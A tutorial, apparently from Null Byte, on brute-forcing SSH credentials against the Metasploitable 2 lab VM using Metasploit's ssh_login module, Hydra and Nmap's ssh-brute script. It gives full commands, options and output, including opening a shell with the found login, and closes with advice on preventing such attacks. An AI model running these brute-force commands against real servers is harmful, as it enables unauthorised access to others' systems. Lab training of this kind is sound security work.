SSH is one of the most common protocols in use in modern IT infrastructures, and because of this, it can be a valuable attack vector for hackers. One of the most reliable ways to gain SSH access to servers is by brute-forcing credentials. There are a few methods of performing an SSH brute-force attack that will ultimately lead to the discovery of valid login credentials.

While not the only ways to do so, we’ll be exploring tools such as Metasploit, Hydra, and the Nmap Scripting Engine in Nmap to accomplish this task, all of which are included in Kali Linux. As for the target, we will be practicing on Metasploitable 2, a purposely vulnerable test environment for pentesting and security research.

Overview of SSH

SSH, which stands for Secure Shell, is a network protocol that allows for encrypted communication over an insecure network. This was developed as an alternative to Telnet, which sends information in plaintext — clearly a problem, especially when passwords are involved.

The SSH cryptographic network protocol operates on a client-server model, that is the client initiates a connection to the server and communication is established after authentication takes place. SSH can use both password and private key authentication, the latter of which is considered more secure.

Uses for SSH include providing a means for remote logins and command execution, file transfer, mobile development, and connectivity troubleshooting in cloud-based applications. Virtually every large enterprise implements SSH in one way or another, making it a valuable technology to become acquainted with.

Scan with Nmap

Before we begin any brute-force attacks, we need to determine the state of the port that SSH is running on. We can perform a simple Nmap scan to see if it is open or not. Instead of scanning all the default ports, we can specify a single port number with the -p flag.

nmap -p 22
Starting Nmap 7.70 ( ) at 2019-02-26 14:58 CST
Nmap scan report for
Host is up (0.0039s latency).

22/tcp open  ssh
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

Above, we can see that port 22 is open and the SSH service is running on it. It would be a waste of time if this was closed or not running at all. Now we can start brute-forcing.

Method 1: Metasploit

The first method we will try out today involves one of Metasploit’s auxiliary scanners. First, start the PostgreSQL database with the following command.

service postgresql start

Now, we can fire up Metasploit by typing msfconsole in the terminal. You should see “msf” appear, though, for me, it’s “msf5” since I’m using the most recent version, Metasploit 5, which can be upgraded by running the latest version of Kali. It’s always a good idea to stay updated in order to take advantage of the latest exploits and tools. Here is the command I use to update:

apt-get update && apt-get dist-upgrade

Next, after being greeted by the welcome banner for msfconsole, we can find the appropriate module with the search command.

search ssh
Matching Modules

   Name                                                        Disclosure Date  Rank       Check  Description
   ----                                                        ---------------  ----       -----  -----------
   auxiliary/dos/windows/ssh/sysax_sshd_kexchange              2013-03-17       normal     No     Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
   auxiliary/fuzzers/ssh/ssh_kexinit_corrupt                                    normal     No     SSH Key Exchange Init Corruption
   auxiliary/fuzzers/ssh/ssh_version_15                                         normal     No     SSH 1.5 Version Fuzzer
   auxiliary/fuzzers/ssh/ssh_version_2                                          normal     No     SSH 2.0 Version Fuzzer
   auxiliary/fuzzers/ssh/ssh_version_corrupt                                    normal     No     SSH Version Corruption
   auxiliary/scanner/http/cisco_firepower_login                                 normal     Yes    Cisco Firepower Management Console 6.0 Login
   auxiliary/scanner/http/gitlab_user_enum                     2014-11-21       normal     Yes    GitLab User Enumeration
   auxiliary/scanner/ssh/apache_karaf_command_execution        2016-02-09       normal     Yes    Apache Karaf Default Credentials Command Execution
   auxiliary/scanner/ssh/cerberus_sftp_enumusers               2014-05-27       normal     Yes    Cerberus FTP Server SFTP Username Enumeration
   auxiliary/scanner/ssh/detect_kippo                                           normal     Yes    Kippo SSH Honeypot Detector
   auxiliary/scanner/ssh/eaton_xpert_backdoor                  2018-07-18       normal     Yes    Eaton Xpert Meter SSH Private Key Exposure Scanner
   auxiliary/scanner/ssh/fortinet_backdoor                     2016-01-09       normal     Yes    Fortinet SSH Backdoor Scanner
   auxiliary/scanner/ssh/juniper_backdoor                      2015-12-20       normal     Yes    Juniper SSH Backdoor Scanner
   auxiliary/scanner/ssh/karaf_login                                            normal     Yes    Apache Karaf Login Utility
   auxiliary/scanner/ssh/libssh_auth_bypass                    2018-10-16       normal     Yes    libssh Authentication Bypass Scanner
   auxiliary/scanner/ssh/ssh_enumusers                                          normal     Yes    SSH Username Enumeration
   auxiliary/scanner/ssh/ssh_identify_pubkeys                                   normal     Yes    SSH Public Key Acceptance Scanner
   auxiliary/scanner/ssh/ssh_login                                              normal     Yes    SSH Login Check Scanner
   auxiliary/scanner/ssh/ssh_login_pubkey                                       normal     Yes    SSH Public Key Login Scanner
   auxiliary/scanner/ssh/ssh_version                                            normal     Yes    SSH Version Scanner


The ssh_login module is exactly what we need. Equip it with the use command. Afterward, you should “msf5 auxiliary(scanner/ssh/ssh_login), so you know you’re working inside the right place.

use auxiliary/scanner/ssh/ssh_login

Then we can type options to display the available settings for the scanner.

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

We need to set a few things in order for this to work properly. First, RHOSTS is the IP address of our target.

set rhosts
rhosts =>

Next, STOP_ON_SUCCESS will stop after finding valid credentials.

set stop_on_success true
stop_on_success => true

Then, USER_FILE is a list of usernames.

set user_file users.txt
user_file => users.txt

And PASS_FILE is a list of passwords.

set pass_file passwords.txt
pass_file => passwords.txt

Finally, there’s VERBOSE, which will display all attempts.

set verbose true
verbose => true

For the user and password files, I used a shortened list containing known credentials for the purpose of this demonstration. In a real attack, you would likely want to use one of the well-known wordlists or a custom one to fit your needs.

We should be all set now. Type run at the prompt to kick it off:

[-] - Failed: 'user:password'
[-] - Failed: 'user:Password123'
[-] - Failed: 'user:msfadmin'
[-] - Failed: 'user:admin'
[-] - Failed: 'user:default'
[-] - Failed: 'user:root'
[-] - Failed: 'user:toor'
[-] - Failed: 'user:hello'
[-] - Failed: 'user:welcome'
[-] - Failed: 'user:hunter2'
[-] - Failed: 'msfadmin:password'
[-] - Failed: 'msfadmin:Password123'
[+] - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened ( -> at 2019-02-26 15:06:58 -0600
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Since we set the verbose option, we can see all the attempts as they take place. Depending on the number of username and password combinations, this can take quite some time to run.

When valid credentials are found, a success message is displayed and a command shell is opened. It does not automatically drop us in, though, so we can display the current active sessions with the sessions command.

Active sessions

  Id  Name  Type         Information                              Connection
  --  ----  ----         -----------                              ----------
  1         shell linux  SSH msfadmin:msfadmin ( -> (

This says that it is an SSH connection. To interact with this session, use the -i flag.

sessions -i 1
[*] Starting interaction with 1...

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

Now we are connected to the target via SSH and can run commands like normal.

Method 2: Hydra

The next tool we will use is Hydra, a powerful login cracker which is very fast and supports a number of different protocols. To show the help and some basic usage options, simply type hydra in the terminal. (Note, if you were previously in the msf console, make sure you cd out of it before using Hydra.)

Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt

Hydra contains a range of options, but today we will be using the following:

  • The -L flag, which specifies a list of login names.
  • The -P flag, which specifies a list of passwords.
  • ssh:// — our target and protocol.
  • The -t flag set to 4, which sets the number of parallel tasks to run.

Once we kick it off, the tool will display the status of the attack:

hydra -L users.txt -P passwords.txt ssh:// -t 4
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2019-02-26 15:12:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task
[DATA] attacking ssh://

After a period of time, it will complete and show us the number of successful logins found.

[22][ssh] host:   login: msfadmin   password: msfadmin
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active
[STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2019-02-26 15:15:10

Hydra’s parallel processing power makes it a good choice when a large number of potential credentials are involved.

Method 3: Nmap Scripting Engine

The last method of brute forcing SSH credentials we will try out today involves the use of the Nmap Scripting Engine. NSE contains a script which will attempt to brute-force all possible combinations of a username and password pair. To perform this attack, we can run a simple Nmap scan from a fresh terminal just like before, but with a few extra options tacked on:

  • –script ssh-brute specifies the script to use.
  • –script-args will set the arguments for the script, separated by a comma.
  • userdb=users.txt is the list of usernames we wish to use.
  • passdb=passwords.txt is the list of passwords we wish to use.

Now, we are ready to start the scan:

nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt
Starting Nmap 7.70 ( ) at 2019-02-26 15:17 CST

NSE will display the brute-force attempts and which credentials are being tried. Be patient — depending on the number of usernames and passwords being used, this can take some time.

NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: john:john
NSE: [ssh-brute] Trying username/password pair: default:default
NSE: [ssh-brute] Trying username/password pair: support:support
NSE: [ssh-brute] Trying username/password pair: service:service
NSE: [ssh-brute] Trying username/password pair: adam:adam
NSE: [ssh-brute] Trying username/password pair: admin:password
NSE: [ssh-brute] Trying username/password pair: root:password
NSE: [ssh-brute] Trying username/password pair: john:password
NSE: [ssh-brute] Trying username/password pair: default:password
NSE: [ssh-brute] Trying username/password pair: support:password
NSE: [ssh-brute] Trying username/password pair: adam:password
NSE: [ssh-brute] Trying username/password pair: admin:Password123
NSE: [ssh-brute] Trying username/password pair: root:Password123
NSE: [ssh-brute] Trying username/password pair: john:Password123
NSE: [ssh-brute] Trying username/password pair: default:Password123


After a while, the scan will finish and a report will be shown in the terminal.

Nmap scan report for
Host is up (0.0011s latency).

22/tcp open  ssh
| ssh-brute:
|   Accounts:
|     user:user - Valid credentials
|     msfadmin:msfadmin - Valid credentials
|     service:service - Valid credentials
|_  Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 147.59 seconds

Above, we can see it discovered three valid login credentials. This script is useful because it will iterate through all possible pairs of usernames and passwords, which will sometimes yield more results.

How to Prevent SSH Brute-Forcing

The reality is that if you have a server facing the internet, there are going to be loads of SSH brute-force attempts daily, many of which are automated. But don’t fret, there are some simple solutions to help protect against this and cut down on the number of login attempts.

Perhaps one of the easiest things to do is change the port number which SSH operates on. Although this will dissuade the most rudimentary brute-force attempts, it is trivial to scan for SSH running on alternate ports.

A better method is to implement a service like Fail2ban, DenyHosts, or iptables to block brute-force attempts at the host level. This, combined with using private key authentication instead of passwords, will put you out of the reach of most attackers. If password-based authentication is absolutely necessary, use strong passwords and follow best practices.

Wrapping Up

In this guide, we learned about SSH and how to brute-force credentials in order to gain access to a target. First, we covered how to identify open ports running SSH. Then we learned how to mount a brute-force attack using three methods: Metasploit, Hydra, and the Nmap Scripting Engine. Finally, we went over some ways to protect against these types of attacks.

SSH is an extremely common protocol, so it is essential that every hacker knows how to attack it — and how to prevent it.

Cover image by Skitterphoto/Pexels; Screenshots by drd_/Null Byte


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